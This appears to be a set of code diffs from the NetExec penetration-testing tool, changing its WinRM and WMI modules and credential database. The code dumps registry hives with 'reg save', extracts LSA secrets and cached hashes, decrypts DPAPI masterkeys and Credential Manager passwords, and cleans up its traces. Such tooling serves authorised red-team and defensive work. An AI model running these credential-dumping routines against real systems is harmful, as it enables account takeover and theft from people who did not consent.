self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"[OPSEC] Cleanup command failed, check C:\\windows\\temp\\{sam_storename} and C:\\windows\\temp\\{system_storename}: {e}")
|
||||
|
||||
def lsa(self, quiet=False):
|
||||
def lsa(self):
|
||||
security_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{security_storename} & del C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
try:
|
||||
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
|
||||
self.conn.fetch(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security")
|
||||
self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
|
||||
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
|
||||
except Exception as e:
|
||||
if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)):
|
||||
self.logger.fail("Failed to dump LSA secrets, it may have been detected by AV or current user is not privileged user")
|
||||
@@ -399,53 +392,159 @@ class winrm(connection):
|
||||
else:
|
||||
self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}")
|
||||
else:
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
local_operations = LocalOperations(f"{output_filename}.system")
|
||||
boot_key = local_operations.getBootKey()
|
||||
|
||||
def lsa_secret_callback(_, secret):
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
LSA = LSASecrets(
|
||||
f"{output_filename}.security",
|
||||
boot_key,
|
||||
None,
|
||||
isRemote=None,
|
||||
perSecretCallback=lsa_secret_callback
|
||||
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
|
||||
)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
finally:
|
||||
try:
|
||||
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"[OPSEC] Cleanup command failed, check C:\\windows\\temp\\{security_storename} and C:\\windows\\temp\\{system_storename}: {e}")
|
||||
|
||||
def dpapi(self):
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
"""
|
||||
Find and unlock Credential Manager masterkeys and credentials owned by user.
|
||||
The flow is inspired by and a simplified version of dploot's triage methods for user masterkeys and credentials.
|
||||
Actual decryption of keys and credentials is taken and adapted from impacket-dpapi.
|
||||
"""
|
||||
user_masterkey_path = ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Protect")
|
||||
user_credentials_paths = [
|
||||
ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Credentials"),
|
||||
ntpath.join("C:\\Users", self.username, "AppData\\Local\\Microsoft\\Credentials")
|
||||
]
|
||||
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
address=self.host,
|
||||
port=self.port,
|
||||
ssl=self.ssl,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
)
|
||||
self.logger.display("Collecting DPAPI masterkeys...")
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
sids = self.ps_execute(f"Get-ChildItem -Path {user_masterkey_path} -Name -Directory -Include 'S-*'", True)
|
||||
if not sids:
|
||||
self.logger.fail(f"No masterkeys found for user {self.username}")
|
||||
return
|
||||
|
||||
masterkeys = []
|
||||
for sid in sids.splitlines():
|
||||
keys_path = ntpath.join(user_masterkey_path, sid.strip())
|
||||
keys = self.ps_execute(f"Get-ChildItem -Path {keys_path} -Name -Hidden -File -Exclude 'Preferred'", True)
|
||||
for key in keys.splitlines():
|
||||
stripped_key = key.strip()
|
||||
if is_guid(stripped_key):
|
||||
key_path = ntpath.join(keys_path, stripped_key)
|
||||
self.logger.debug(f"Found masterkey file {key_path}")
|
||||
local_key_file = f"{TMP_PATH}/{stripped_key}"
|
||||
self.conn.fetch(key_path, local_key_file)
|
||||
decrypted_key = self.get_master_key(local_key_file, sid, self.password)
|
||||
if decrypted_key:
|
||||
masterkeys.append((stripped_key, decrypted_key))
|
||||
|
||||
if not masterkeys:
|
||||
self.logger.fail("Could not decrypt any keys")
|
||||
return
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
|
||||
|
||||
credential_files = []
|
||||
for user_credentials_path in user_credentials_paths:
|
||||
creds = self.ps_execute(f"Get-ChildItem -Path {user_credentials_path} -Name -Hidden -File", True)
|
||||
for cred_file in creds.splitlines():
|
||||
stripped_cred_file = cred_file.strip()
|
||||
if is_credfile(stripped_cred_file):
|
||||
creds_path = ntpath.join(user_credentials_path, stripped_cred_file)
|
||||
self.logger.debug(f"Found credentials file {creds_path}")
|
||||
local_cred_file = f"{TMP_PATH}/{stripped_cred_file}"
|
||||
self.conn.fetch(creds_path, local_cred_file)
|
||||
credential_files.append(local_cred_file)
|
||||
|
||||
if not credential_files:
|
||||
self.log.fail(f"No credential files found for user {self.username}")
|
||||
return
|
||||
|
||||
for creds_file in credential_files:
|
||||
with open(creds_file, "rb") as fp:
|
||||
data = fp.read()
|
||||
cred = CredentialFile(data)
|
||||
blob = DPAPI_BLOB(cred["Data"])
|
||||
|
||||
guid_masterkey = bin_to_string(blob["GuidMasterKey"])
|
||||
right_key = next((key for guid, key in masterkeys if guid.lower() == guid_masterkey.lower()), None)
|
||||
|
||||
if right_key is not None:
|
||||
try:
|
||||
decrypted = blob.decrypt(right_key)
|
||||
if decrypted is not None:
|
||||
self.logger.debug(f"Successfully decrypted credentials in {creds_file}:")
|
||||
creds = CREDENTIAL_BLOB(decrypted)
|
||||
if creds["Unknown3"] != b"":
|
||||
target = creds["Target"].decode("utf-16le")
|
||||
username = creds["Username"].decode("utf-16le")
|
||||
try:
|
||||
password = creds["Unknown3"].decode("utf-16le")
|
||||
except UnicodeDecodeError:
|
||||
password = creds["Unknown3"].decode("latin-1")
|
||||
self.logger.highlight(f"{target} - {username}:{password}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to decrypt credentials in {creds_file} with masterkey: {e!s}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
else:
|
||||
self.logger.fail(f"No matching masterkey found for credentials in {creds_file} (need {guid_masterkey})")
|
||||
|
||||
def get_master_key(self, masterkey_file, sid, password):
|
||||
"""
|
||||
Taken and adapted from impacket.examples.dpapi
|
||||
Could be cleaned up but the more we deviate from the original the harder it will be to maintain it
|
||||
"""
|
||||
with open(masterkey_file, "rb") as fp:
|
||||
data = fp.read()
|
||||
mkf = MasterKeyFile(data)
|
||||
data = data[len(mkf):]
|
||||
|
||||
if mkf["MasterKeyLen"] > 0:
|
||||
mk = MasterKey(data[:mkf["MasterKeyLen"]])
|
||||
data = data[len(mk):]
|
||||
|
||||
if mkf["BackupKeyLen"] > 0:
|
||||
bkmk = MasterKey(data[:mkf["BackupKeyLen"]])
|
||||
data = data[len(bkmk):]
|
||||
|
||||
if mkf["CredHistLen"] > 0:
|
||||
ch = CredHist(data[:mkf["CredHistLen"]])
|
||||
data = data[len(ch):]
|
||||
|
||||
if mkf["DomainKeyLen"] > 0:
|
||||
dk = DomainKey(data[:mkf["DomainKeyLen"]])
|
||||
data = data[len(dk):]
|
||||
|
||||
key1, key2, key3 = deriveKeysFromUser(sid, password)
|
||||
|
||||
# if mkf['flags'] & 4 ? SHA1 : MD4
|
||||
decryptedKey = mk.decrypt(key3)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted key with User Key (MD4 protected)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = mk.decrypt(key2)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted key with User Key (MD4)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = mk.decrypt(key1)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted key with User Key (SHA1)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = bkmk.decrypt(key3)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted Backup key with User Key (MD4 protected)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = bkmk.decrypt(key2)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted Backup key with User Key (MD4)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = bkmk.decrypt(key1)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted Backup key with User Key (SHA1)")
|
||||
return decryptedKey
|
||||
@@ -1,6 +1,4 @@
|
||||
import base64
|
||||
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete, and_, or_
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import declarative_base
|
||||
|
||||
@@ -16,8 +14,6 @@ class database(BaseDB):
|
||||
self.UsersTable = None
|
||||
self.AdminRelationsTable = None
|
||||
self.LoggedinRelationsTable = None
|
||||
self.DpapiBackupkeyTable = None
|
||||
self.DpapiSecretsTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
|
||||
@@ -73,32 +69,6 @@ class database(BaseDB):
|
||||
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
|
||||
)
|
||||
|
||||
class DpapiSecret(Base):
|
||||
__tablename__ = "dpapi_secrets"
|
||||
id = Column(Integer)
|
||||
host = Column(String)
|
||||
dpapi_type = Column(String)
|
||||
windows_user = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
url = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
|
||||
)
|
||||
|
||||
class DpapiBackupKey(Base):
|
||||
__tablename__ = "dpapi_backupkey"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
pvk = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("domain"),
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
Base.metadata.create_all(db_conn)
|
||||
@@ -108,8 +78,6 @@ class database(BaseDB):
|
||||
self.UsersTable = self.reflect_table(self.User)
|
||||
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
|
||||
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
|
||||
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
|
||||
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
|
||||
|
||||
def add_host(self, ip, port, hostname, domain, os=None):
|
||||
"""
|
||||
@@ -306,20 +274,6 @@ class database(BaseDB):
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
@@ -426,113 +380,3 @@ class database(BaseDB):
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_domain_backupkey(self, domain: str, pvk: bytes):
|
||||
"""
|
||||
Add domain backupkey
|
||||
:domain is the domain fqdn
|
||||
:pvk is the domain backupkey
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
if not len(results):
|
||||
pvk_encoded = base64.b64encode(pvk)
|
||||
backup_key = {"domain": domain, "pvk": pvk_encoded}
|
||||
try:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
|
||||
|
||||
self.db_execute(q, [backup_key]) # .scalar()
|
||||
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
|
||||
|
||||
def get_domain_backupkey(self, domain: str | None = None):
|
||||
"""
|
||||
Get domain backupkey
|
||||
:domain is the domain fqdn
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable)
|
||||
if domain is not None:
|
||||
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
|
||||
|
||||
if len(results) > 0:
|
||||
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
|
||||
return results
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
self,
|
||||
host: str,
|
||||
dpapi_type: str,
|
||||
windows_user: str,
|
||||
username: str,
|
||||
password: str,
|
||||
url: str = "",
|
||||
):
|
||||
"""Add dpapi secrets to nxcdb"""
|
||||
secret = {
|
||||
"host": host,
|
||||
"dpapi_type": dpapi_type,
|
||||
"windows_user": windows_user,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"url": url,
|
||||
}
|
||||
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
|
||||
|
||||
self.db_execute(q, [secret]) # .scalar()
|
||||
|
||||
nxc_logger.debug(
|
||||
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
|
||||
|
||||
def get_dpapi_secrets(
|
||||
self,
|
||||
filter_term=None,
|
||||
host: str | None = None,
|
||||
dpapi_type: str | None = None,
|
||||
windows_user: str | None = None,
|
||||
username: str | None = None,
|
||||
url: str | None = None,
|
||||
):
|
||||
"""Get dpapi secrets from nxcdb"""
|
||||
q = select(self.DpapiSecretsTable)
|
||||
|
||||
if self.is_dpapi_secret_valid(filter_term):
|
||||
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif host:
|
||||
q = q.filter(self.DpapiSecretsTable.c.host == host)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif dpapi_type:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
|
||||
elif windows_user:
|
||||
like_term = func.lower(f"%{windows_user}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif username:
|
||||
like_term = func.lower(f"%{username}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif url:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
|
||||
return results
|
||||
@@ -17,9 +17,7 @@ def proto_args(parser, parents):
|
||||
cgroup.add_argument("--dump-method", action="store", default="cmd", choices={"cmd", "powershell"}, help="Select shell type in hashes dump for sam or lsa")
|
||||
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cgroup.add_argument("--dpapi", action="store_true", help="dump user's Credential Manager secrets from target systems")
|
||||
|
||||
mapping_enum_group = winrm_parser.add_argument_group("Mapping/Enumeration")
|
||||
mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')")
|
||||
|
||||
+22
-381
@@ -1,38 +1,20 @@
|
||||
import os
|
||||
import re
|
||||
import struct
|
||||
import binascii
|
||||
from Cryptodome.Hash import MD4
|
||||
from io import StringIO
|
||||
import base64
|
||||
|
||||
from nxc.helpers.negotiate_parser import parse_challenge
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection, requires_admin
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import validate_ntlm
|
||||
from nxc.connection import connection, dcom_FirewallChecker, requires_admin
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
from nxc.protocols.wmi import wmiexec, wmiexec_event
|
||||
from nxc.protocols.wmi.remoteops import RemoteOperations
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
|
||||
from dploot.lib.network.wmi import WMITarget as Target
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.examples.secretsdump import LSASecrets, SAMHashes, NTDSHashes
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import transport, epm
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, DCERPCSessionError, IWbemServices
|
||||
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
|
||||
|
||||
MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0"))
|
||||
|
||||
@@ -46,7 +28,6 @@ class wmi(connection):
|
||||
self.nthash = ""
|
||||
self.server_os = None
|
||||
self.doKerberos = False
|
||||
self.tgt = None
|
||||
self.stringBinding = None
|
||||
# from: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/18d8fbe8-a967-4f1c-ae50-99ca8e491d2d
|
||||
self.rpc_error_status = {
|
||||
@@ -66,12 +47,6 @@ class wmi(connection):
|
||||
}
|
||||
self.iWbemLevel1Login = None
|
||||
self.dcom_conn = None
|
||||
self.namespaces = {}
|
||||
self._remote_ops = None
|
||||
self.no_da = None
|
||||
self.dpapi_system_key = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
@@ -150,17 +125,12 @@ class wmi(connection):
|
||||
except Exception:
|
||||
buffer = 0
|
||||
|
||||
self.remoteName = self.host
|
||||
if buffer != 0:
|
||||
response = MSRPCHeader(buffer)
|
||||
bindResp = MSRPCBindAck(response.getData())
|
||||
ntlm_info = parse_challenge(bindResp["auth_data"])
|
||||
dns_hostname = ntlm_info["dns_hostname"] or ""
|
||||
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
|
||||
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
|
||||
self.remoteName = sanitize_dns(dns_hostname, self.logger) if self.kerberos else self.host
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
else:
|
||||
@@ -170,27 +140,24 @@ class wmi(connection):
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
||||
# DCOM connection with kerberos needed
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.extra["protocol"] = "RPC"
|
||||
self.logger.extra["port"] = "135"
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
|
||||
def check_if_admin(self):
|
||||
# With several credentials, drop the admin flag, namespaces and DCOM connections (cached per target by impacket) of the previous one
|
||||
self.admin_privs = False
|
||||
self.namespaces = {}
|
||||
if self.dcom_conn:
|
||||
self.dcom_conn.disconnect()
|
||||
self.dcom_conn = None
|
||||
try:
|
||||
# Only keep the connection once activated: impacket's disconnect() can't run twice on a target
|
||||
dcom_conn = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host, TGT=self.tgt)
|
||||
iInterface = dcom_conn.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
self.dcom_conn = dcom_conn
|
||||
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout, self.logger)
|
||||
self.dcom_conn = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
|
||||
iInterface = self.dcom_conn.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Received error while checking admin: {e}")
|
||||
if "access_denied" not in str(e).lower():
|
||||
@@ -206,12 +173,14 @@ class wmi(connection):
|
||||
else:
|
||||
try:
|
||||
self.iWbemLevel1Login = IWbemLevel1Login(iInterface)
|
||||
self.get_namespace("//./root/cimv2")
|
||||
_ = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
self.iWbemLevel1Login.RemRelease()
|
||||
except Exception as e:
|
||||
if "access_denied" not in str(e).lower():
|
||||
self.logger.fail(str(e))
|
||||
return False
|
||||
else:
|
||||
self.logger.extra["protocol"] = "WMI"
|
||||
self.admin_privs = True
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
@@ -221,7 +190,6 @@ class wmi(connection):
|
||||
self.password = password
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
self.tgt = None
|
||||
self.create_conn_obj()
|
||||
|
||||
if password == "":
|
||||
@@ -243,14 +211,10 @@ class wmi(connection):
|
||||
|
||||
try:
|
||||
self.logger.debug(f"Attempting to connect via WMI to {self.host}")
|
||||
dce = self.conn.get_dce_rpc()
|
||||
# Reuse one TGT for every RPC/DCOM bind, impacket would otherwise redo the AS exchange on each bind
|
||||
if not useCache and kerb_pass:
|
||||
tgt, cipher, _, session_key = getKerberosTGT(Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value), password, domain, lmhash, nthash, self.aesKey, kdcHost)
|
||||
self.tgt = {"KDC_REP": tgt, "cipher": cipher, "sessionKey": session_key}
|
||||
self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey, TGT=self.tgt)
|
||||
self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey)
|
||||
self.conn.setRemoteHost(self.host)
|
||||
self.conn.set_kerberos(True, kdcHost)
|
||||
dce = self.conn.get_dce_rpc()
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.connect()
|
||||
@@ -401,286 +365,6 @@ class wmi(connection):
|
||||
self.logger.success(out)
|
||||
return True
|
||||
|
||||
def read_file(self, remote_path) -> bytes | None:
|
||||
self.logger.debug(f"Try reading file {remote_path}")
|
||||
escaped_path = remote_path.replace("\\", "\\\\")
|
||||
|
||||
# Load the Namespace
|
||||
try:
|
||||
powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Cannot load WMI Namespace //./root/Microsoft/Windows/Powershellv3: {e}")
|
||||
return None
|
||||
|
||||
# Read the file
|
||||
try:
|
||||
object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"'
|
||||
iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path)
|
||||
obj = iWbemClassObject.getProperties()
|
||||
|
||||
file_data = None
|
||||
for prop_name, prop_value in obj.items():
|
||||
if prop_name == "FileData":
|
||||
file_data = prop_value["value"]
|
||||
break
|
||||
|
||||
if len(file_data) < 4:
|
||||
return None
|
||||
|
||||
# Unpack it
|
||||
file_length = struct.unpack(">I", bytes(file_data[:4]))[0]
|
||||
return bytes(file_data[4:4 + file_length])
|
||||
except DCERPCSessionError as e:
|
||||
if e.error_code == 0x80041006: # WBEM_E_OUT_OF_MEMORY
|
||||
# With the PS_ModuelFile technique, the file will be loaded into
|
||||
# WMI process memory. By default, a specific memory space is allocated
|
||||
# to each WMI provider host process (WMIPrvse.exe). This value can be
|
||||
# found by querying MemoryPerHost in __ProviderHostQuotaConfiguration class
|
||||
# in root namespace. Default is 512MB, but tests showed that starting from 70MB, the download can fail
|
||||
# File is too big, let's try to copy it the dirty way
|
||||
|
||||
live_path = re.sub(
|
||||
r"^\\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy\d+",
|
||||
"C:",
|
||||
escaped_path,
|
||||
flags=re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Check file size
|
||||
def callback_func(iEnumWbemClassObject, records):
|
||||
wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0]
|
||||
record = dict(wmi_results.getProperties())
|
||||
callback_func.size = record["FileSize"]["value"]
|
||||
|
||||
callback_func.size = 0
|
||||
|
||||
wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{live_path}'"
|
||||
self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func)
|
||||
|
||||
# Get the file chunk by chunk with command exec
|
||||
self.logger.fail(f"{remote_path} filesize is {callback_func.size / 1024**2:.0f}MB. The download might take a LOT of time and use wmi command execution.")
|
||||
data = b""
|
||||
chunk_size = 1 * 1024 * 1024 # 1MB - Could not do bigger or it can crash
|
||||
chunk_count = (callback_func.size + chunk_size - 1) // chunk_size
|
